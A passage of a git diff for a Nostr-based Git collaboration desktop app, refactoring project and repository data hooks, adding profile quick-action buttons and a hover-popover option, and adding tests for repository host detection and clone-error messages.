+          }}
+        />
+      ) : null}
     </>
   );
 }
diff --git a/desktop/src/features/profile/ui/UserProfilePopover.tsx b/desktop/src/features/profile/ui/UserProfilePopover.tsx
index da51ab1b88..06295cc615 100644
--- a/desktop/src/features/profile/ui/UserProfilePopover.tsx
+++ b/desktop/src/features/profile/ui/UserProfilePopover.tsx
@@ -60,6 +60,8 @@ type UserProfilePopoverProps = {
   triggerAriaLabel?: string;
   /** Set false when the trigger is inside another interactive control. */
   enableProfilePanel?: boolean;
+  /** Set false when a smaller, context-specific hover treatment is provided. */
+  enableHoverPopover?: boolean;
   /** When set to "bot", a BotIdenticon badge renders next to the display name. */
   role?: string;
   /** Value used to generate the BotIdenticon glyph (typically the author name). */
@@ -174,6 +176,7 @@ export function UserProfilePopover({
   triggerElement = "div",
   triggerAriaLabel,
   enableProfilePanel = true,
+  enableHoverPopover = true,
   role,
   botIdenticonValue,
 }: UserProfilePopoverProps) {
@@ -298,11 +301,14 @@ export function UserProfilePopover({
   }, []);
 
   const handleTriggerMouseEnter = React.useCallback(() => {
+    if (!enableHoverPopover) {
+      return;
+    }
     clearHoverTimer();
     hoverTimerRef.current = setTimeout(() => {
       setOpen(true);
     }, HOVER_OPEN_DELAY_MS);
-  }, [clearHoverTimer]);
+  }, [clearHoverTimer, enableHoverPopover]);
 
   const handleMouseLeave = React.useCallback(() => {
     clearHoverTimer();
@@ -593,6 +599,11 @@ export function UserProfilePopover({
         data-testid="user-profile-popover"
         onMouseEnter={handleContentMouseEnter}
         onMouseLeave={handleMouseLeave}
+        // This is a hover card: moving focus into its first button on open
+        // makes the profile header look keyboard-selected before the user has
+        // interacted with it. Keep focus on the trigger; Tab still enters the
+        // card and shows its normal focus treatment when needed.
+        onOpenAutoFocus={(event) => event.preventDefault()}
         side="top"
         sideOffset={8}
       >
diff --git a/desktop/src/features/profile/ui/UserProfilePrimaryActions.tsx b/desktop/src/features/profile/ui/UserProfilePrimaryActions.tsx
new file mode 100644
index 0000000000..f03635ff18
--- /dev/null
+++ b/desktop/src/features/profile/ui/UserProfilePrimaryActions.tsx
@@ -0,0 +1,217 @@
+import type { LucideIcon } from "lucide-react";
+import {
+  MessageSquare,
+  Pencil,
+  Play,
+  RefreshCw,
+  Sparkles,
+  Square,
+  UserMinus,
+  UserPlus,
+} from "lucide-react";
+import { toast } from "sonner";
+
+import type {
+  useFollowMutation,
+  useUnfollowMutation,
+} from "@/features/profile/hooks";
+import { useFeatureEnabled } from "@/shared/features";
+import { cn } from "@/shared/lib/cn";
+import { Spinner } from "@/shared/ui/spinner";
+import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+
+// ── Primary actions ──────────────────────────────────────────────────────────
+
+export function ProfilePrimaryActions({
+  agentActionDisabled,
+  agentActionLabel,
+  agentActionLive,
+  canEditAgent,
+  followMutation,
+  isFollowing,
+  messagePending,
+  onAgentPrimaryAction,
+  onAgentRestart,
+  onCreateCard,
+  onEditAgent,
+  onMessage,
+  pubkey,
+  unfollowMutation,
+}: {
+  agentActionDisabled?: boolean;
+  agentActionLabel?: string;
+  agentActionLive?: boolean;
+  canEditAgent: boolean;
+  followMutation: ReturnType<typeof useFollowMutation>;
+  isFollowing: boolean;
+  messagePending?: boolean;
+  onAgentPrimaryAction?: () => void;
+  onAgentRestart?: () => void;
+  onCreateCard?: () => void;
+  onEditAgent: () => void;
+  onMessage?: () => void;
+  pubkey: string;
+  unfollowMutation: ReturnType<typeof useUnfollowMutation>;
+}) {
+  const showFollowAction = useFeatureEnabled("pulse");
+  const followToggleMutation = isFollowing ? unfollowMutation : followMutation;
+
+  const handleFollowClick = () => {
+    followToggleMutation.mutate(pubkey, {
+      onError: (error) =>
+        toast.error(
+          `${isFollowing ? "Unfollow" : "Follow"} failed: ${error.message}`,
+        ),
+    });
+  };
+
+  return (
+    <div className="flex items-center justify-center gap-8">
+      {showFollowAction ? (
+        <ProfileQuickAction
+          active={isFollowing}
+          disabled={followToggleMutation.isPending}
+          icon={isFollowing ? UserMinus : UserPlus}
+          label={isFollowing ? "Unfollow" : "Follow"}
+          onClick={handleFollowClick}
+        />
+      ) : null}
+      {onMessage ? (
+        <ProfileQuickAction
+          disabled={messagePending}
+          icon={MessageSquare}
+          isLoading={messagePending}
+          label="Message"
+          onClick={onMessage}
+          testId="user-profile-message"
+        />
+      ) : null}
+      {canEditAgent ? (
+        <ProfileQuickAction
+          icon={Pencil}
+          label="Edit"
+          onClick={onEditAgent}
+          testId="user-profile-edit-agent"
+        />
+      ) : null}
+      {onAgentPrimaryAction && agentActionLabel ? (
+        <ProfileQuickAction
+          active={agentActionLive}
+          disabled={agentActionDisabled}
+          icon={agentActionLive ? Square : Play}
+          label={agentActionLabel}
+          onClick={onAgentPrimaryAction}
+          testId="user-profile-agent-primary-action"
+        />
+      ) : null}
+      {onAgentRestart ? (
+        <ProfileQuickAction
+          disabled={agentActionDisabled}
+          icon={RefreshCw}
+          label="Restart"
+          onClick={onAgentRestart}
+          testId="user-profile-agent-restart"
+        />
+      ) : null}
+      {onCreateCard ? (
+        <ProfileQuickAction
+          icon={Sparkles}
+          label="Create card"
+          onClick={onCreateCard}
+          testId="user-profile-create-card"
+        />
+      ) : null}
+    </div>
+  );
+}
+
+export function ProfilePersonaPrimaryActions({
+  canEditAgent,
+  disabled,
+  onCreateCard,
+  onEditAgent,
+  onStartAgent,
+}: {
+  canEditAgent: boolean;
+  disabled: boolean;
+  onCreateCard?: () => void;
+  onEditAgent: () => void;
+  onStartAgent: () => void;
+}) {
+  return (
+    <div className="flex items-center justify-center gap-8">
+      <ProfileQuickAction
+        disabled={disabled}
+        icon={Play}
+        label="Start agent"
+        onClick={onStartAgent}
+        testId="user-profile-start-agent"
+      />
+      {canEditAgent ? (
+        <ProfileQuickAction
+          disabled={disabled}
+          icon={Pencil}
+          label="Edit"
+          onClick={onEditAgent}
+          testId="user-profile-edit-agent"
+        />
+      ) : null}
+      {onCreateCard ? (
+        <ProfileQuickAction
+          disabled={disabled}
+          icon={Sparkles}
+          label="Create card"
+          onClick={onCreateCard}
+          testId="user-profile-create-card"
+        />
+      ) : null}
+    </div>
+  );
+}
+
+function ProfileQuickAction({
+  active,
+  disabled,
+  icon: Icon,
+  isLoading,
+  label,
+  onClick,
+  testId,
+}: {
+  active?: boolean;
+  disabled?: boolean;
+  icon: LucideIcon;
+  isLoading?: boolean;
+  label: string;
+  onClick: () => void;
+  testId?: string;
+}) {
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          aria-label={label}
+          className={cn(
+            "flex h-12 w-12 items-center justify-center rounded-full transition-colors disabled:cursor-not-allowed disabled:opacity-50",
+            active
+              ? "bg-foreground text-background hover:bg-foreground/90"
+              : "bg-muted/60 text-foreground hover:bg-muted/80",
+          )}
+          data-testid={testId}
+          disabled={disabled}
+          onClick={onClick}
+          type="button"
+        >
+          {isLoading ? (
+            <Spinner aria-hidden="true" className="h-4 w-4 border-2" />
+          ) : (
+            <Icon className="h-4 w-4" />
+          )}
+        </button>
+      </TooltipTrigger>
+      <TooltipContent align="center" side="top">
+        {label}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
diff --git a/desktop/src/features/projects/branchMutations.ts b/desktop/src/features/projects/branchMutations.ts
index 55874dc776..647e6fac2b 100644
--- a/desktop/src/features/projects/branchMutations.ts
+++ b/desktop/src/features/projects/branchMutations.ts
@@ -2,7 +2,7 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
 import * as React from "react";
 import { toast } from "sonner";
 
-import type { Project } from "@/features/projects/hooks";
+import type { Repository as Project } from "@/features/projects/hooks";
 import {
   createProjectRemoteBranch,
   deleteProjectRemoteBranch,
diff --git a/desktop/src/features/projects/hooks.ts b/desktop/src/features/projects/hooks.ts
index a51191d479..f6e5d2f1b0 100644
--- a/desktop/src/features/projects/hooks.ts
+++ b/desktop/src/features/projects/hooks.ts
@@ -23,7 +23,6 @@ import {
   KIND_GIT_STATUS_DRAFT,
   KIND_GIT_STATUS_MERGED,
   KIND_GIT_STATUS_OPEN,
-  KIND_REPO_ANNOUNCEMENT,
   KIND_REPO_STATE,
   KIND_TEXT_NOTE,
 } from "@/shared/constants/kinds";
@@ -39,10 +38,11 @@ import type {
   RelayEvent,
 } from "@/shared/api/types";
 import { summarizeProjectActivityEvents } from "./projectActivity.mjs";
-import { resolveProjectDefaultBranch } from "./lib/projectBranches";
-import { effectiveCloneUrls } from "./lib/projectCloneUrl";
 import type { ProjectIssue } from "./projectIssues.mjs";
-import { projectIssueEventsToIssues } from "./projectIssues.mjs";
+import {
+  nextProjectIssueCommentCreatedAt,
+  projectIssueEventsToIssues,
+} from "./projectIssues.mjs";
 import type {
   ProjectPullRequest,
   ProjectPullRequestCommentAnchor,
@@ -55,33 +55,29 @@ import {
   projectPullRequestEventsToPullRequests,
 } from "./projectPullRequests.mjs";
 import { fetchProjectsWorkItems } from "./projectWorkItems";
+import {
+  eventToRepository,
+  type Project,
+  type Repository,
+} from "./projectModels";
+import {
+  buildProjectsFromFetcher,
+  fetchProjectEventsExhaustively,
+} from "./projectEnumeration";
+import { projectMatchesRouteId } from "./projectRoutes";
 
 export type {
+  Project,
   ProjectIssue,
   ProjectPullRequest,
   ProjectPullRequestCommentAnchor,
+  Repository,
 };
 
 export type ProjectPullRequestCommentDecision = "request-changes";
 
 const HIDDEN_PROJECT_CARDS_KEY = "buzz.projects.hidden-cards.v1";
 
-export type Project = {
-  id: string;
-  dtag: string;
-  name: string;
-  description: string;
-  cloneUrls: string[];
-  webUrl: string | null;
-  owner: string;
-  contributors: string[];
-  createdAt: number;
-  projectChannelId: string | null;
-  status: string;
-  defaultBranch: string;
-  repoAddress: string;
-};
-
 export type RepoState = {
   branches: Array<{ name: string; commit: string }>;
   tags: Array<{ name: string; commit: string }>;
@@ -120,34 +116,16 @@ export type {
 
 export type ProjectPullRequestListItem = {
   project: Project;
+  repository: Repository;
   pullRequest: ProjectPullRequest;
 };
 
 export type ProjectIssueListItem = {
   project: Project;
+  repository: Repository;
   issue: ProjectIssue;
 };
 
-function getTag(event: RelayEvent, name: string): string | undefined {
-  const value = event.tags.find((t) => t[0] === name)?.[1];
-  return typeof value === "string" && value.length > 0 ? value : undefined;
-}
-
-function getAllTags(event: RelayEvent, name: string): string[] {
-  return event.tags
-    .filter((t) => t[0] === name && typeof t[1] === "string" && t[1].length > 0)
-    .map((t) => t[1]);
-}
-
-function getCloneUrls(event: RelayEvent): string[] {
-  const tag = event.tags.find((t) => t[0] === "clone");
-  return tag ? tag.slice(1) : [];
-}
-
-function projectCoordinate(project: Pick<Project, "owner" | "dtag">): string {
-  return `${KIND_REPO_ANNOUNCEMENT}:${project.owner}:${project.dtag}`;
-}
-
 function readHiddenProjectCards(): string[] {
   if (typeof window === "undefined") {
     return [];
@@ -165,21 +143,6 @@ function readHiddenProjectCards(): string[] {
   }
 }
 
-function isHiddenLocally(project: Project): boolean {
-  return readHiddenProjectCards().includes(projectCoordinate(project));
-}
-
-function isDeletedByA(project: Project, deletionEvents: RelayEvent[]): boolean {
-  const coordinate = projectCoordinate(project);
-  // NIP-09: a deletion is only valid when signed by the author of the
-  // referenced event — otherwise anyone could hide someone else's project.
-  return deletionEvents.some(
-    (event) =>
-      event.pubkey.toLowerCase() === project.owner.toLowerCase() &&
-      event.tags.some((tag) => tag[0] === "a" && tag[1] === coordinate),
-  );
-}
-
 /**
  * Converts a kind:30617 repo announcement into a `Project`.
  *
@@ -191,136 +154,27 @@ function isDeletedByA(project: Project, deletionEvents: RelayEvent[]): boolean {
 export function eventToProject(
   event: RelayEvent,
   relayOrigin?: string | null,
-): Project {
-  const d = getTag(event, "d") ?? event.id;
-  const name = getTag(event, "name") || d;
-  const description = getTag(event, "description") || event.content || "";
-  const cloneUrls = effectiveCloneUrls(
-    getCloneUrls(event),
-    relayOrigin,
-    event.pubkey,
-    d,
-  );
-  const webUrl = getTag(event, "web") ?? null;
-  const setupUsers = getAllTags(event, "auth");
-  const contributors = [...new Set([...getAllTags(event, "p"), ...setupUsers])];
-  // `h`/`project-channel`, `status`, and `default-branch` are NOT part of
-  // NIP-34 — they are read-side tolerance for extension tags no code writes
-  // today (the write path that emitted them was removed). If a write path is
-  // reintroduced it must go through the buzz-sdk repo-announcement builder;
-  // the canonical NIP-34 source for the default branch is the kind:30618
-  // state event's HEAD ref, not a 30617 tag.
-  const projectChannelId =
-    getTag(event, "h") ?? getTag(event, "project-channel") ?? null;
-
-  return {
-    id: `${event.pubkey}:${d}`,
-    dtag: d,
-    name,
-    description,
-    cloneUrls,
-    webUrl,
-    owner: event.pubkey,
-    contributors,
-    createdAt: event.created_at,
-    projectChannelId,
-    status: getTag(event, "status") ?? "active",
-    defaultBranch: getTag(event, "default-branch") ?? "main",
-    repoAddress: projectCoordinate({ owner: event.pubkey, dtag: d }),
-  };
-}
-
-function dedup(events: RelayEvent[]): RelayEvent[] {
-  const best = new Map<string, RelayEvent>();
-
-  for (const e of events) {
-    const d = getTag(e, "d") ?? "";
-    const key = `${e.pubkey}:${e.kind}:${d}`;
-    const prev = best.get(key);
-
-    if (!prev || e.created_at > prev.created_at) {
-      best.set(key, e);
-    }
-  }
-
-  return [...best.values()];
-}
-
-export async function fetchProjects(): Promise<Project[]> {
-  const [events, deletionEvents] = await Promise.all([
-    relayClient.fetchEvents({
-      kinds: [KIND_REPO_ANNOUNCEMENT],
-      limit: 200,
-    }),
-    relayClient.fetchEvents({
-      kinds: [KIND_DELETION],
-      limit: 500,
-    }),
-  ]);
-
-  return dedup(events)
-    .map((event) => eventToProject(event, getCachedRelayOrigin()))
-    .filter(
-      (project) =>
-        !isHiddenLocally(project) && !isDeletedByA(project, deletionEvents),
-    )
-    .sort((a, b) => b.createdAt - a.createdAt);
-}
-
-/**
- * Splits a project route ID into its owner pubkey and dtag. The canonical
- * form is `<owner-pubkey>:<dtag>` (matching `Project.id`) — NIP-34 repo
- * identity is the full `30617:<owner>:<dtag>` coordinate, and two owners can
- * both publish the same dtag (forks). Bare-dtag IDs from legacy links are
- * still resolved, ambiguously, to whichever owner the relay returns first.
- */
-function parseProjectRouteId(projectId: string): {
-  owner: string | null;
-  dtag: string;
-} {
-  const owner = projectId.slice(0, 64);
-  if (projectId[64] === ":" && /^[0-9a-fA-F]{64}$/.test(owner)) {
-    return { owner: owner.toLowerCase(), dtag: projectId.slice(65) };
+): Repository {
+  const repository = eventToRepository(event, relayOrigin);
+  if (!repository) {
+    throw new Error("Invalid repository announcement.");
   }
-  return { owner: null, dtag: projectId };
-}
-
-async function fetchProject(projectId: string): Promise<Project | null> {
-  const { owner, dtag } = parseProjectRouteId(projectId);
-  const events = await relayClient.fetchEvents({
-    kinds: [KIND_REPO_ANNOUNCEMENT],
-    ...(owner ? { authors: [owner] } : {}),
-    "#d": [dtag],
-    limit: 10,
+  return repository;
+}
+
+export async function fetchProjects(
+  fetchExhaustively: (
+    kinds: number[],
+  ) => Promise<RelayEvent[]> = fetchProjectEventsExhaustively,
+): Promise<Project[]> {
+  // Delegates to `buildProjectsFromFetcher` in `projectEnumeration.ts`, which
+  // is the pure, Tauri-free core of this operation. That helper's javadoc
+  // explains the fail-closed tombstone contract and the NIP-OA owner-deletion
+  // relay-side-suppression decision.
+  return buildProjectsFromFetcher(fetchExhaustively, {
+    relayOrigin: getCachedRelayOrigin(),
+    hiddenAddresses: new Set(readHiddenProjectCards()),
   });
-
-  const deduped = dedup(events).filter(
-    (event) => !owner || event.pubkey.toLowerCase() === owner,
-  );
-  const project =
-    deduped.length > 0
-      ? eventToProject(deduped[0], getCachedRelayOrigin())
-      : null;
-  if (!project) {
-    return null;
-  }
-
-  const deletionEvents = await relayClient.fetchEvents({
-    kinds: [KIND_DELETION],
-    authors: [project.owner],
-    "#a": [project.repoAddress],
-    limit: 10,
-  });
-
-  if (isDeletedByA(project, deletionEvents)) return null;
-  const repoState = await fetchRepoState(project);
-  return {
-    ...project,
-    defaultBranch: resolveProjectDefaultBranch(
-      project.defaultBranch,
-      repoState,
-    ),
-  };
 }
 
 function eventToRepoState(event: RelayEvent): RepoState {
@@ -349,7 +203,7 @@ function eventToRepoState(event: RelayEvent): RepoState {
   };
 }
 
-async function fetchRepoState(project: Project): Promise<RepoState | null> {
+async function fetchRepoState(project: Repository): Promise<RepoState | null> {
   const relaySelf = await getRelaySelf();
   const trustedAuthors = [
     ...new Set(
@@ -368,7 +222,9 @@ async function fetchRepoState(project: Project): Promise<RepoState | null> {
   return events.length > 0 ? eventToRepoState(events[0]) : null;
 }
 
-async function fetchProjectIssues(project: Project): Promise<ProjectIssue[]> {
+async function fetchProjectIssues(
+  project: Repository,
+): Promise<ProjectIssue[]> {
   const [issueEvents, statusEvents, commentEvents] = await Promise.all([
     relayClient.fetchEvents({
       kinds: [KIND_GIT_ISSUE],
@@ -396,7 +252,7 @@ async function fetchProjectIssues(project: Project): Promise<ProjectIssue[]> {
 }
 
 async function fetchProjectPullRequests(
-  project: Project,
+  project: Repository,
 ): Promise<ProjectPullRequest[]> {
   const [pullRequestEvents, updateEvents, commentEvents, statusEvents] =
     await Promise.all([
@@ -454,7 +310,7 @@ async function createProjectPullRequestComment({
   decision?: ProjectPullRequestCommentDecision;
   mediaTags?: string[][];
   mentionPubkeys?: string[];
-  project: Project;
+  project: Repository;
   pullRequest: ProjectPullRequest;
 }): Promise<void> {
   const body = content.trim();
@@ -531,7 +387,7 @@ async function createProjectIssueComment({
   mediaTags?: string[][];
   mentionPubkeys?: string[];
   issue: ProjectIssue;
-  project: Project;
+  project: Repository;
 }): Promise<void> {
   const body = content.trim();
   if (!body) {
@@ -550,10 +406,16 @@ async function createProjectIssueComment({
     ...[...recipients].map((recipient) => ["p", recipient]),
     ...(mediaTags ?? []),
   ];
+  const identity = await getIdentity();
 
   const event = await signRelayEvent({
     kind: KIND_TEXT_NOTE,
     content: body,
+    createdAt: nextProjectIssueCommentCreatedAt(
+      issue,
+      Math.floor(Date.now() / 1_000),
+      identity.pubkey,
+    ),
     tags,
   });
 
@@ -565,7 +427,7 @@ async function createProjectIssueComment({
 }
 
 async function fetchProjectRepoSnapshot(
-  project: Project,
+  project: Repository,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
   tag?: { name: string; commit: string } | null,
@@ -587,7 +449,7 @@ async function fetchProjectRepoSnapshot(
 }
 
 async function fetchProjectRepoDiff(
-  project: Project,
+  project: Repository,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
 ): Promise<ProjectRepoDiff | null> {
@@ -604,7 +466,7 @@ async function fetchProjectRepoDiff(
 }
 
 async function fetchProjectLocalRepoDiff(
-  project: Project,
+  project: Repository,
   reposDir?: string | null,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
@@ -625,7 +487,7 @@ async function fetchProjectLocalRepoDiff(
 }
 
 async function fetchProjectLocalRepoSnapshot(
-  project: Project,
+  project: Repository,
   reposDir?: string | null,
   branchName?: string | null,
 ): Promise<ProjectLocalRepoSnapshot | null> {
@@ -638,11 +500,11 @@ async function fetchProjectLocalRepoSnapshot(
   });
 }
 
-async function fetchProjectActivitySummaries(
-  projects: Project[],
+/** Loads commit, pull-request, and issue activity keyed by repository address. */
+export async function fetchRepositoryActivitySummaries(
+  repositories: Repository[],
 ): Promise<Record<string, ProjectActivitySummary>> {
-  if (projects.length === 0) return {};
-
+  if (repositories.length === 0) return {};
   const events = await relayClient.fetchEvents({
     kinds: [
       KIND_GIT_ISSUE,
@@ -654,26 +516,100 @@ async function fetchProjectActivitySummaries(
       KIND_GIT_PULL_REQUEST,
       KIND_GIT_PR_UPDATE,
     ],
-    "#a": projects.map((project) => project.repoAddress),
+    "#a": repositories.map((repository) => repository.repoAddress),
     limit: 1_000,
   });
 
-  return summarizeProjectActivityEvents(events, projects) as Record<
+  return summarizeProjectActivityEvents(events, repositories) as Record<
     string,
     ProjectActivitySummary
   >;
 }
 
+async function fetchProjectActivitySummaries(
+  projects: Project[],
+): Promise<Record<string, ProjectActivitySummary>> {
+  if (projects.length === 0) return {};
+
+  const repositories = [
+    ...new Map(
+      projects
+        .flatMap((project) => project.repositories)
+        .map((repository) => [repository.repoAddress, repository]),
+    ).values(),
+  ];
+  const summariesByRepository =
+    await fetchRepositoryActivitySummaries(repositories);
+  return Object.fromEntries(
+    projects.map((project) => {
+      const summaries = project.repositories.map(
+        (repository) => summariesByRepository[repository.repoAddress],
+      );
+      const latestCommit =
+        summaries
+          .map((summary) => summary?.latestCommit)
+          .filter(
+            (
+              commit,
+            ): commit is NonNullable<ProjectActivitySummary["latestCommit"]> =>
+              Boolean(commit),
+          )
+          .sort((left, right) => right.createdAt - left.createdAt)[0] ?? null;
+      const activityByDay: Record<string, number> = {};
+      for (const summary of summaries) {
+        for (const [day, count] of Object.entries(
+          summary?.activityByDay ?? {},
+        )) {
+          activityByDay[day] = (activityByDay[day] ?? 0) + count;
+        }
+      }
+      return [
+        project.id,
+        {
+          repoAddress: project.projectAddress,
+          issueCount: summaries.reduce(
+            (count, summary) => count + (summary?.issueCount ?? 0),
+            0,
+          ),
+          prCount: summaries.reduce(
+            (count, summary) => count + (summary?.prCount ?? 0),
+            0,
+          ),
+          commitCount: summaries.reduce(
+            (count, summary) => count + (summary?.commitCount ?? 0),
+            0,
+          ),
+          activityCount: summaries.reduce(
+            (count, summary) => count + (summary?.activityCount ?? 0),
+            0,
+          ),
+          updatedAt: Math.max(
+            0,
+            ...summaries.map((summary) => summary?.updatedAt ?? 0),
+          ),
+          participantPubkeys: [
+            ...new Set(
+              summaries.flatMap((summary) => summary?.participantPubkeys ?? []),
+            ),
+          ],
+          latestCommit,
+          activityByDay,
+        } satisfies ProjectActivitySummary,
+      ];
+    }),
+  );
+}
+
 async function deleteProject(project: Project): Promise<void> {
   const identity = await getIdentity();
   if (identity.pubkey.toLowerCase() !== project.owner.toLowerCase()) {
-    throw new Error("Only branch owners can delete branches.");
+    throw new Error("Only the project owner can delete this project.");
   }
 
   const event = await signRelayEvent({
     kind: KIND_DELETION,
     content: `Delete project ${project.name}`,
-    tags: [["a", project.repoAddress]],
+    tags: [["a", project.projectAddress]],
   });
 
   await relayClient.publishEvent(
@@ -688,20 +624,23 @@ export const projectsQueryKey = ["projects"] as const;
 export function useProjectsQuery() {
   return useQuery({
     queryKey: projectsQueryKey,
-    queryFn: fetchProjects,
+    queryFn: () => fetchProjects(),
     staleTime: 60_000,
   });
 }
 
 export function useProjectQuery(projectId: string) {
   return useQuery({
-    queryKey: ["project", projectId],
-    queryFn: () => fetchProject(projectId),
+    queryKey: projectsQueryKey,
+    queryFn: () => fetchProjects(),
+    select: (projects) =>
+      projects.find((project) => projectMatchesRouteId(project, projectId)) ??
+      null,
     staleTime: 60_000,
   });
 }
 
-export function useRepoStateQuery(project: Project | null | undefined) {
+export function useRepoStateQuery(project: Repository | null | undefined) {
   return useQuery({
     enabled: Boolean(project),
     queryKey: ["project", project?.id ?? "none", "repo-state"],
@@ -714,15 +653,16 @@ export function useRepoStateQuery(project: Project | null | undefined) {
 }
 
 export function useProjectRepoSnapshotQuery(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
   tag?: { name: string; commit: string } | null,
+  enabled = true,
 ) {
   const selectedBranch = branchName ?? project?.defaultBranch ?? null;
 
   return useQuery({
-    enabled: Boolean(project?.cloneUrls[0]),
+    enabled: Boolean(enabled && project?.cloneUrls[0]),
     queryKey: [
       "project",
       project?.id ?? "none",
@@ -748,7 +688,7 @@ export function useProjectRepoSnapshotQuery(
 }
 
 export function useProjectRepoDiffQuery(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
   enabled = true,
@@ -775,7 +715,7 @@ export function useProjectRepoDiffQuery(
 }
 
 export function useProjectLocalRepoDiffQuery(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
   reposDir?: string | null,
   branchName?: string | null,
   pullRequest?: ProjectPullRequest | null,
@@ -809,7 +749,7 @@ export function useProjectLocalRepoDiffQuery(
 }
 
 export function useProjectLocalRepoSnapshotQuery(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
   reposDir?: string | null,
   branchName?: string | null,
 ) {
@@ -842,7 +782,7 @@ export function useProjectLocalRepositoriesQuery(reposDir?: string | null) {
   });
 }
 
-export function useProjectIssuesQuery(project: Project | null | undefined) {
+export function useProjectIssuesQuery(project: Repository | null | undefined) {
   return useQuery({
     enabled: Boolean(project),
     queryKey: ["project", project?.id ?? "none", "issues"],
@@ -855,7 +795,7 @@ export function useProjectIssuesQuery(project: Project | null | undefined) {
 }
 
 export function useProjectPullRequestsQuery(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
 ) {
   return useQuery({
     enabled: Boolean(project),
@@ -879,7 +819,7 @@ export function useProjectsWorkItemsQuery(projects: Project[]) {
 }
 
 export function useCreateProjectIssueCommentMutation(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
 ) {
   const queryClient = useQueryClient();
 
@@ -919,7 +859,7 @@ export function useCreateProjectIssueCommentMutation(
 }
 
 export function useCreateProjectPullRequestCommentMutation(
-  project: Project | null | undefined,
+  project: Repository | null | undefined,
 ) {
   const queryClient = useQueryClient();
 
@@ -966,7 +906,12 @@ export function useCreateProjectPullRequestCommentMutation(
 
 export function useProjectActivitySummariesQuery(projects: Project[]) {
   const repoAddresses = React.useMemo(
-    () => projects.map((project) => project.repoAddress).sort(),
+    () =>
+      projects
+        .flatMap((project) =>
+          project.repositories.map((repository) => repository.repoAddress),
+        )
+        .sort(),
     [projects],
   );
 
@@ -987,11 +932,7 @@ export function useDeleteProjectMutation() {
       queryClient.setQueryData<Project[]>(projectsQueryKey, (current = []) =>
         current.filter((item) => item.id !== project.id),
       );
-      queryClient.setQueryData(["project", project.id], null);
       void queryClient.invalidateQueries({ queryKey: projectsQueryKey });
-      void queryClient.invalidateQueries({
-        queryKey: ["project", project.id],
-      });
     },
   });
 }
diff --git a/desktop/src/features/projects/issueMutations.ts b/desktop/src/features/projects/issueMutations.ts
index 0d18e47226..57834f4401 100644
--- a/desktop/src/features/projects/issueMutations.ts
+++ b/desktop/src/features/projects/issueMutations.ts
@@ -3,7 +3,7 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
 import { relayClient } from "@/shared/api/relayClient";
 import { signRelayEvent } from "@/shared/api/tauri";
 import { KIND_GIT_ISSUE } from "@/shared/constants/kinds";
-import type { Project } from "./hooks";
+import type { Repository as Project } from "./hooks";
 import { buildGitIssueTags } from "./projectIssues.mjs";
 
 type CreateProjectIssueInput = {
diff --git a/desktop/src/features/projects/lib/projectCloneUrl.test.mjs b/desktop/src/features/projects/lib/projectCloneUrl.test.mjs
index 6179c46a04..cc00d5f631 100644
--- a/desktop/src/features/projects/lib/projectCloneUrl.test.mjs
+++ b/desktop/src/features/projects/lib/projectCloneUrl.test.mjs
@@ -2,6 +2,10 @@ import assert from "node:assert/strict";
 import { test } from "node:test";
 
 import { deriveRelayCloneUrl, effectiveCloneUrls } from "./projectCloneUrl.ts";
+import {
+  projectRepoHost,
+  projectRepoHostForProject,
+} from "./projectRepoHost.ts";
 
 const OWNER = "a".repeat(64);
 const ORIGIN = "https://relay.example";
@@ -60,3 +64,43 @@ test("effectiveCloneUrls derives a default when none is advertised", () => {
 test("effectiveCloneUrls returns empty when no default can be derived", () => {
   assert.deepEqual(effectiveCloneUrls([], null, OWNER, "repo"), []);
 });
+
+test("projectRepoHost recognizes a canonical repository on the relay", () => {
+  assert.deepEqual(projectRepoHost(`${ORIGIN}/git/${OWNER}/buzz`, ORIGIN), {
+    kind: "buzz",
+  });
+});
+
+test("projectRepoHost identifies an external repository by host", () => {
+  assert.deepEqual(
+    projectRepoHost("https://github.com/block/buzz.git", ORIGIN),
+    { kind: "external", host: "github.com" },
+  );
+});
+
+test("projectRepoHost treats a non-repository relay path as external", () => {
+  assert.deepEqual(projectRepoHost(`${ORIGIN}/other/path`, ORIGIN), {
+    kind: "external",
+    host: "relay.example",
+  });
+});
+
+test("projectRepoHost fails closed while either URL is unresolved", () => {
+  assert.deepEqual(projectRepoHost(null, ORIGIN), { kind: "unresolved" });
+  assert.deepEqual(projectRepoHost(`${ORIGIN}/git/${OWNER}/buzz`, null), {
+    kind: "unresolved",
+  });
+  assert.deepEqual(projectRepoHost("not a URL", ORIGIN), {
+    kind: "unresolved",
+  });
+});
+
+test("projectRepoHostForProject recognizes an implicit relay repository", () => {
+  assert.deepEqual(
+    projectRepoHostForProject(
+      { cloneUrls: [], dtag: "buzz", owner: OWNER },
+      ORIGIN,
+    ),
+    { kind: "buzz" },
+  );
+});
diff --git a/desktop/src/features/projects/lib/projectGitError.test.mjs b/desktop/src/features/projects/lib/projectGitError.test.mjs
new file mode 100644
index 0000000000..cc691bb0d7
--- /dev/null
+++ b/desktop/src/features/projects/lib/projectGitError.test.mjs
@@ -0,0 +1,39 @@
+import assert from "node:assert/strict";
+import { test } from "node:test";
+
+import { projectCloneErrorPresentation } from "./projectGitError.ts";
+
+test("explains unsupported authenticated GitHub clones without exposing git output", () => {
+  assert.deepEqual(
+    projectCloneErrorPresentation(
+      new Error(
+        "Cloning into '/Users/person/repos/app'... remote: repository requires SSH certificate authentication. fatal: requested URL returned error: 403",
+      ),
+      "https://github.com/example/app.git",
+    ),
+    {
+      title: "Repository access required",
+      description:
+        "This repository requires GitHub authentication. Buzz currently clones public GitHub repositories without credentials.",
+    },
+  );
+});
+
+test("presents missing and network failures clearly", () => {
+  assert.equal(
+    projectCloneErrorPresentation(new Error("Repository not found")).title,
+    "Repository not found",
+  );
+  assert.equal(
